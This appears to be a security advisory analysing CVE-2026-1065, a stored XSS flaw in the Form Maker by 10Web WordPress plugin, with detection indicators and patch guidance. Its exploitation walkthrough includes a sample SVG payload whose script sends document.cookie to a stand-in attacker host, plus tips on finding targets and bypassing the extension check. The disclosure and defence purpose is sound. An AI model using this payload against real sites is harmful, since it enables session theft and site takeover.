CVE-2026-1065: 
WordPress vulnerability analysis and mitigation

CVE-2026-1065 is a Stored Cross-Site Scripting (XSS) vulnerability in the Form Maker by 10Web plugin for WordPress, affecting all versions up to and including 1.15.35. The flaw arises from the plugin's default file upload allowlist permitting SVG files combined with weak substring-based extension validation, enabling unauthenticated attackers to upload malicious SVG files containing JavaScript. The vulnerability was published on February 3, 2026, and assigned a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). The plugin's file upload handling in frontend/models/form_maker.php uses substring-based extension validation that can be bypassed, and SVG files are included in the default upload allowlist. An unauthenticated attacker can submit a form with a file upload field, uploading a crafted SVG file embedding arbitrary JavaScript; when an administrator or site visitor views the uploaded file, the script executes in their browser context. Relevant source code is visible in the plugin's repository at frontend/models/form_maker.php (lines 1744 and 1855) and js/add_field.js (line 2364) (Wordfence, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of administrators or site visitors who view the uploaded SVG file, impacting both confidentiality and integrity. Attackers could steal session cookies, perform actions on behalf of privileged users (including administrative account takeover), redirect users to malicious sites, or inject persistent malicious content into the WordPress site. Availability is not directly impacted, but a compromised administrator session could lead to full site takeover (Wordfence, Red Hat CVE).

No evidence of active in-the-wild exploitation or inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog has been reported. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. No public proof-of-concept exploit code has been identified, though the vulnerability requires no authentication and no user interaction from the attacker's perspective, lowering the barrier to exploitation. The vulnerability was discovered and reported by Wordfence (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Form Maker by 10Web plugin (version ≤ 1.15.35) with publicly accessible forms that include file upload fields. Tools like WPScan or Google dorks can assist in discovery.
2. Craft malicious SVG: Create an SVG file containing embedded JavaScript, for example: <svg xmlns="http://www.w3.org/2000/svg"><script>document.location='https://attacker.com/steal?c='+document.cookie</script></svg>.
3. Bypass extension validation: If needed, manipulate the filename to exploit the weak substring-based extension check (e.g., using double extensions or case variations) to ensure the file passes the allowlist check.
4. Submit the form: Upload the malicious SVG via a publicly accessible form with a file upload field on the target WordPress site, requiring no authentication.
5. Trigger execution: Wait for an administrator or site visitor to view the uploaded SVG file. The embedded JavaScript executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Wordfence, WordPress Trac).

• File System: Presence of SVG files in WordPress upload directories (/wp-content/uploads/) containing <script> tags or JavaScript event handlers (e.g., onload, onerror).
• Logs: Web server access logs showing POST requests to form submission endpoints with SVG file uploads from unexpected or anonymous sources; repeated access to uploaded SVG files from administrative IP addresses.
• Network: Outbound requests from administrator browsers to unknown external domains shortly after viewing uploaded files, potentially indicating cookie or credential exfiltration.
• Application: Unexpected new administrator accounts, changed site settings, or injected content in WordPress pages following form submissions with SVG uploads (Wordfence).

Update the Form Maker by 10Web plugin to version 1.15.36 or later, which addresses the SVG upload allowlist and strengthens extension validation (Wordfence, WordPress Trac). As a temporary workaround, administrators can disable file upload fields in all public-facing forms or configure server-level rules to block SVG file uploads. Additionally, deploying a Web Application Firewall (WAF) with rules targeting malicious SVG uploads can provide an additional layer of defense while patching is pending.

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for February 2–8, 2026 (Wordfence Blog). The vulnerability was also tracked by ENISA's EUVD and referenced by Red Hat's CVE database, indicating standard industry awareness. No significant social media controversy or high-profile researcher commentary beyond routine disclosure has been observed.